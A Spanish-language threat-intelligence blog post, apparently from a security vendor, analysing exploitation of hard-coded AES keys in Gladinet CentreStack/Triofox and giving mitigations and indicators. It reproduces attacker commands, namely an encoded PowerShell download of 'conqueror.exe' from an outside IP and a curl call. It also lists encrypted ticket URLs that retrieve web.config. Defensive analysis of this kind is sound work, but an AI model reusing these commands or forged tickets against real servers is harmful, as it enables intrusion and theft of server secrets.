Explotación activa de la vulnerabilidad de criptografía insegura en Gladinet CentreStack/Triofox

Agradecimientos: gracias especiales a John Hammond por sus contribuciones a esta investigación y a este escrito.

Actualización n.º 2: 18/12/25 a las 6 p. m. hora del Este

Hemos visto informes de otras firmas de inteligencia que señalan que el grupo de ransomware cl0p está apuntando a servidores de Gladinet CentreStack expuestos a internet. Todavía es pronto y no podemos confirmar por completo si este comportamiento proviene definitivamente de cl0p. Sin embargo, seguimos monitoreando una posible explotación de Gladinet. Más recientemente, observamos dos nuevos incidentes el 15 de diciembre.

Según la telemetría disponible, ambos incidentes involucraron una presunta explotación de Gladinet CentreStack.

Como se ve en la Figura 1 a continuación, ambos incidentes involucraron los mismos indicadores relacionados con un comando de PowerShell, que se ejecutó a través de w3wp.exe:

"C:\Windows\System32\cmd.exe" /c powershell -e SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAaAB0AHQAcAA6AC8ALwAxADgANQAuADEAOQA2AC4AMQAxAC4AMgAwADcAOgA4ADAAMAAwAC8AYwBvAG4AcQB1AGUAcgBvAHIALgBlAHgAZQAgAC0ATwB1AHQARgBpAGwAZQAgAEMAOgBcAFUAcwBlAHIAcwBcAFAAdQBiAGwAaQBjAFwAYwBvAG4AcQB1AGUAcgBvAHIALgBlAHgAZQA= 

El base64 decodificado revela lo siguiente:

Invoke-WebRequest http://185.196.11.207:8000/conqueror.exe -OutFile C:\Users\Public\conqueror.exe

Figura 1: árbol de procesos de la ejecución del comando de PowerShell detectado el 15 de diciembre en dos incidentes

En uno de los incidentes, después de que se obtuvo el payload desde hxxp[://]185.196.11[.]207:8000/conqueror.exe/, se guardó como C:\Users\Public\conqueror.exe antes de ejecutarse. A partir de ahí, el actor de amenazas ejecutó varios comandos relacionados con la enumeración estándar de endpoints mediante conqueror.exe.

En el otro incidente, también vimos la descarga y ejecución de conqueror.exe mediante la misma dirección IP y el mismo comando. Además, vimos que el actor de amenazas ejecutó un comando de PowerShell (powershell -e YwB1AHIAbAAgAGgAdAB0AHAAOgAvAC8AMQA4ADUALgAxADkANgAuADEAMQAuADIAMAA3ADoAOAAwADAAMAA=) que revela lo siguiente en texto claro: curl http://185.196.11.207:8000

Lamentablemente, el conqueror.exe ya no estaba presente en el sistema de archivos para que pudiéramos analizarlo más a fondo. Descubrimos el hash SHA256 e9fa82d92d826c6a1c38165fe6bd610d3b80cd5d53ec65ac3fe94393be64b5a5, pero al momento de escribir esto no se encontró en VirusTotal. El directorio abierto presuntamente alojado en 185.196.11[.]207:8000 ya no está en línea y aún no hemos descubierto ningún artefacto de él mediante otras soluciones de inteligencia.

Además, observamos la invocación del comando quser.exe, y el actor de amenazas listando el directorio de instalación de Huntress. A partir de los registros de eventos de Windows, el Event ID 1316 del EVTX de Application, observamos 146.70.134[.]50 como la dirección IP maliciosa que inició el ataque aprovechando la vulnerabilidad de deserialización de ViewState mediante CVE-2025-30406.

Por el momento, no podemos afirmar con certeza que se trate de una explotación por parte de la banda de ransomware cl0p, pero dado el momento de este reporte, consideramos prudente compartir esta información de amenazas reciente. Continuamos la caza y el monitoreo de una posible explotación adicional de Gladinet.

------------------------------------------------------


Actualización n.º 1: 12/12/25 a las 4 p. m. hora del Este

Ahora se ha asignado un CVE a esta vulnerabilidad de Gladinet CentreStack y Triofox, con una puntuación CVSS de 7,1 sobre 10: CVE-2025-14611.

------------------------------------------------------

Blog original publicado el 10/12/25

Resumen: la implementación AES de los productos CentreStack y Triofox de Gladinet contiene claves criptográficas codificadas de forma fija. Los actores de amenazas podrían potencialmente aprovechar esto como una forma de acceder al archivo web.config, lo que abre la puerta a la deserialización y a la ejecución remota de código. Estamos viendo atacantes apuntar a esta falla en toda nuestra base de clientes; las organizaciones que usan CentreStack/Triofox deben actualizar a la última versión, 16.12.10420.56791.

Antecedentes

El 2 de diciembre, el equipo de soporte de Huntress recibió un correo electrónico de un equipo que había visto nuestras publicaciones anteriores y previas sobre las tecnologías de Gladinet CentreStack y Triofox. Indicaron que son clientes de Gladinet y que habían recibido una notificación de la empresa el 30 de noviembre sobre un nuevo problema de seguridad, y se les recomendó actualizar de inmediato a la última versión disponible en ese momento, que se había publicado el 29 de noviembre. Gladinet le proporcionó a este cliente múltiples indicadores de compromiso (IoC), incluidas las siguientes solicitudes (nota: consulta nuestra sección de "Mitigaciones" más abajo para ver una advertencia importante sobre estos IoC y para obtener más información sobre cómo utilizar estos indicadores de la manera más precisa).

/storage/filesvr.dn t=vghpI7EToZUDIZDdprSubL3mTZ2:aCLI:8Zra5AOPvX4TEEXlZiueqNysfRx7Dsd3P5l6eiYyDiG8Lvm0o41m:ZDplEYEsO5ksZajiXcsumkDyUgpV5VLxL%7C372varAu

/storage/filesvr.dn t=vghpI7EToZUDIZDdprSubL3mTZ2:aCLI:8Zra5AOPvX4TEEXlZiueqNysfRx7Dsd3P5l6eiYyDiG8Lvm0o41m:ZDplEYEsO5ksZajiXcsukOQzFIwOzIHswJBdS7w0RY

/storage/filesvr.dn t=t=vghpI7EToZUDIZDdprSubL3mTZ2:aCLI:8Zra5AOPvX4TEEXlZiueqNysfRx7Dsd3P5l6eiYyDiG8Lvm0o41m4mxEjYeJuI6Nk:xBHQQ1c6Hzjx3OsG4T044CP5qZ9Qr

Tras una inspección más detallada de estas solicitudes, pudimos identificar la causa raíz de la vulnerabilidad detrás de este aviso de seguridad y comprender mejor cómo podría usarse potencialmente en un ataque.

Observaciones de Huntress

La vulnerabilidad

filesvr.dn es un controlador HTTP personalizado definido en el web.config del servidor y asignado a la clase GladinetStorage.FileDownloadHandler. El controlador espera un parámetro de consulta llamado t. Este parámetro es un "ticket de acceso" cifrado diseñado para contener todos los datos de autorización necesarios y el archivo solicitado en una sola cadena.

Cuando la aplicación del servidor CentreStack (IIS Worker Process) arranca por primera vez, necesita generar información criptográfica para cifrar/descifrar. La clase SysKeyMgr llama a AccessKeyMgr64.GetSysEncKey, que pasa la hora actual del sistema (DateTime.Now.ToString()) a una función externa, GenerateSecKey, ubicada en GladCtrl64.dll. La .dll devuelve dos cadenas de 100 bytes que se cargan en memoria:

  • SysKeyMgr.SysKey: La fuente de la clave de cifrado AES de 32 bytes.
  • SysKeyMgr.SysKey1: La fuente del vector de inicialización (IV) de 16 bytes.

Cuando el manejador filesvr.dn recibe el parámetro t, primero realiza un saneamiento personalizado, intercambiando caracteres aptos para URL (reemplazando : por + y | por /) y luego una decodificación Base64. El manejador entonces llama a AccessTicket.Decrypt. Este método obtiene los primeros 32 bytes de la cadena estática SysKey y los primeros 16 bytes de SysKey1 para configurar un proveedor de descifrado AES-256. Como estas claves se derivan de las cadenas de 100 bytes generadas, cualquier ticket cifrado con estos bytes específicos es confiable para el sistema.

Una vez descifrado, el ticket revela una cadena de texto plano con 4 campos obligatorios separados por saltos de línea (hay campos opcionales para DomainID y UserID):

  1. Filepath: La ruta absoluta al archivo en el disco del servidor.
  2. Username: La cuenta de Windows que se va a suplantar.
  3. Password: Las credenciales de esa cuenta.
  4. Timestamp: La hora de creación del ticket.

Se analiza el Timestamp y se compara con la hora actual del servidor. Si el ticket tiene más de 4 horas, se rechaza la solicitud. Si la marca de tiempo es válida, el manejador inicializa un contexto de suplantación usando el Username y la Password del ticket. Si se proporcionan credenciales válidas, el servidor accede al sistema de archivos como ese usuario específico.

Al depurar el proceso en ejecución, descubrimos que GenerateSecKey, ubicada en GladCtrl64.dll, devuelve exactamente las mismas cadenas de texto de 100 bytes.

  • La fuente de la clave: Una cadena estática de texto en chino.
  • La fuente del IV: Una cadena estática de texto de marketing en japonés.

Como estas claves nunca cambian, podríamos extraerlas de la memoria una vez y usarlas para descifrar cualquier ticket generado por el servidor, o peor, cifrar los nuestros propios.

Descifrando los ejemplos proporcionados:

/storage/filesvr.dn t=vghpI7EToZUDIZDdprSubL3mTZ2:aCLI:8Zra5AOPvX4TEEXlZiueqNysfRx7Dsd3P5l6eiYyDiG8Lvm0o41m:ZDplEYEsO5ksZajiXcsumkDyUgpV5VLxL%7C372varAu

Pudimos ver la solicitud que se hacía:

[0] C:\Program Files (x86)\Gladinet Cloud Enterprise\root\web.config
[1]
[2]
[3] 9999-11-27 14:52:04.009217


Línea [0]

Como se mencionó anteriormente aquí, el atacante puede obtener las claves de máquina desde:

C:\Program Files (x86)\Gladinet Cloud Enterprise\root\web.config

Se pueden aprovechar para abusar del ViewState de ASPX, un mecanismo usado para preservar el estado de una página web y sus controles entre múltiples solicitudes HTTP. Las claves de máquina abren la puerta a una técnica de ataque muy estándar y bien estudiada con la deserialización de ViewState.

Línea [1],[2]

Los campos Username y Password se dejaron en blanco. El código usa estos campos para inicializar un contexto de Impersonation. Cuando se pasan cadenas vacías, parece que la lógica de suplantación falla y potencialmente recurre a la identidad del grupo de aplicaciones de IIS.

Línea [3]

El atacante configuró la marca de tiempo en el año 9999. Esto crea un ticket que nunca expira. El atacante puede reutilizar esta misma URL indefinidamente para descargar la configuración del servidor.

Actividad de explotación 

Al 10 de diciembre, hemos visto nueve organizaciones afectadas por esta vulnerabilidad. Estas empresas abarcaron distintos sectores, desde salud hasta tecnología. El actor de amenazas se conectó desde la dirección IP 147.124.216[.]205 e intentó usar el exploit (CVE-2025-11371) seguido del nuevo exploit para obtener el archivo web.config que contiene la clave de máquina. Una vez que el atacante pudo obtener las claves, realizó un ataque de deserialización de viewstate y luego intentó recuperar la salida de la ejecución, lo cual falló.

Figura 2: Fragmento de registros de IIS que destaca un ataque reciente

Figura 3: El registro de eventos de aplicaciones de Windows captura el error de ViewState que contiene el payload codificado

Figura 4: Payload en Base64 decodificado

Guía de mitigación

El 29 de noviembre, Gladinet lanzó un nuevo número de compilación para CentreStack y Triofox antes de notificar a los clientes el 30 de noviembre sobre una nueva actualización de seguridad. La versión más reciente en el sitio web de CentreStack de Gladinet, al 8 de diciembre, es la 16.12.10420.56791. Recomendamos que los clientes de Gladinet potencialmente afectados actualicen a esta última versión de inmediato y se aseguren de rotar la machineKey (hay más instrucciones disponibles aquí).

Además, las organizaciones pueden escanear sus registros en busca de la cadena indicada a continuación, que es la representación cifrada de la ruta del archivo web.config:

vghpI7EToZUDIZDdprSubL3mTZ2 

Cabe destacar que esta es la parte más precisa de la cadena para usar de los IoC mencionados por Gladinet arriba. Esto se debe a que la cadena completa incluye un valor de fecha arbitrario, que es variable y puede ser un indicador poco confiable para las organizaciones.

Por nuestra parte, Huntress está monitoreando actividad maliciosa relacionada con esta vulnerabilidad, y nuestros detectores ya están implementados.

Indicadores de compromiso (IOC)

Elemento

Descripción

/storage/filesvr.dn t=vghpI7EToZUDIZDdprSubL3mTZ2

Solicitud GET cifrada para web.config

También te podría interesar